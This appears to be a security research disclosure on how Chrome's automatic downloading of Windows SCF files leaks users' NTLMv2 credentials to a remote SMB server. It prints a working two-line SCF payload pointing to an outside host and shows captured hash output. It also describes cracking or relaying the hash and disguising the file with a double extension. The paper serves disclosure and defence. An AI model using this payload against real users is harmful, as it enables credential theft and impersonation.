Attacks that leak authentication credentials using the SMB file sharing protocol on Windows OS are an ever-present issue, exploited in various ways but usually limited to local area networks. One of the rare research involving attacks over the internet was recently presented by Jonathan Brossard and Hormazd Billimoria at the Black Hat security conference
[1] [2] in 2015. However, there have been no publicly demonstrated SMB authentication related attacks on browsers other than Internet Explorer and Edge in the past decade. This paper describes an attack which can lead to Windows credentials theft, affecting the default configuration of the most popular browser in the world today, Google Chrome, as well as all Windows versions supporting it.
The Problem
With its default configuration, Chrome browser will
automatically download files that it deems safe without prompting the user for a download location but instead using the preset one. From a security standpoint, this feature is not an ideal behavior but any malicious content that slips through still requires a user to manually open/run the file to do any damage. However, what if the downloaded file requires no user interaction to perform malicious actions? Are there file types that can do that?
Windows Explorer Shell Command File or SCF (.scf) is a lesser known file type going back as far as Windows 98. Most Windows users came across it in Windows 98/ME/NT/2000/XP where it was primarily used as a Show Desktop shortcut. It is essentially a text file with sections that determine a command to be run (limited to running Explorer and toggling Desktop) and an icon file location. Taken as an example, this is how Show Desktop SCF file contents looked like:
Code:
[Shell]
Command=2
IconFile=explorer.exe,3
[Taskbar]
Command=ToggleDesktop
As with Windows shortcut LNK files, the icon location is automatically resolved when the file is shown in Explorer. Setting an icon location to a remote SMB server is a known attack vector that abuses the Windows automatic authentication feature when accessing services like remote file shares. But what is the difference between LNK and SCF from the attack standpoint? Chrome sanitizes LNK files by forcing a .download extension ever since Stuxnet[3] but does not give the same treatment to SCF files.
SCF file that can be used to trick Windows into an authentication attempt to a remote SMB server contains only two lines, as shown in the following example:
Code:
[Shell]
IconFile=\\170.170.170.170\icon
Once downloaded, the request is triggered
the very moment the download directory is opened in Windows File Explorer to view the file, delete it or work with other files (which is pretty much inevitable).
There is no need to click or open the downloaded file – Windows File Explorer will automatically try to retrieve the "icon ".
The remote SMB server set up by the attacker is ready to capture the victim's username and NTLMv2 password hash for offline cracking or relay the connection to an externally available service that accepts the same kind of authentication (e.g. Microsoft Exchange) to impersonate the victim without ever knowing the password. The captured information may look like the following:
Code:
[*] SMB Captured - 2017-05-15 13:10:44 +0200
NTLMv2 Response Captured from 173.203.29.182:62521 - 173.203.29.182
USER:Bosko DOMAIN:Master OS: LM:
LMHASH:Disabled
LM_CLIENT_CHALLENGE:Disabled
NTHASH:98daf39c3a253bbe4a289e7a746d4b24
NT_CLIENT_CHALLENGE:01010000000000000e5f83e06fcdd201ccf26d91cd9e326e000000000200000000000
00000000000
Bosko::Master:1122334455667788:98daf39c3a253bbe4a289e7a746d4b24:01010000000000000e5f83e06fcdd201
ccf26d91cd9e326e00000000020000000000000000000000
The above example shows a disclosure of victim's username, domain and NTLMv2 password hash.
It is worth mentioning that SCF files will appear extensionless in Windows Explorer regardless of file and folder settings. Therefore, file named picture.jpg.scf will appear in Windows Explorer as picture.jpg. This adds to inconspicuous nature of attacks using SCF files...
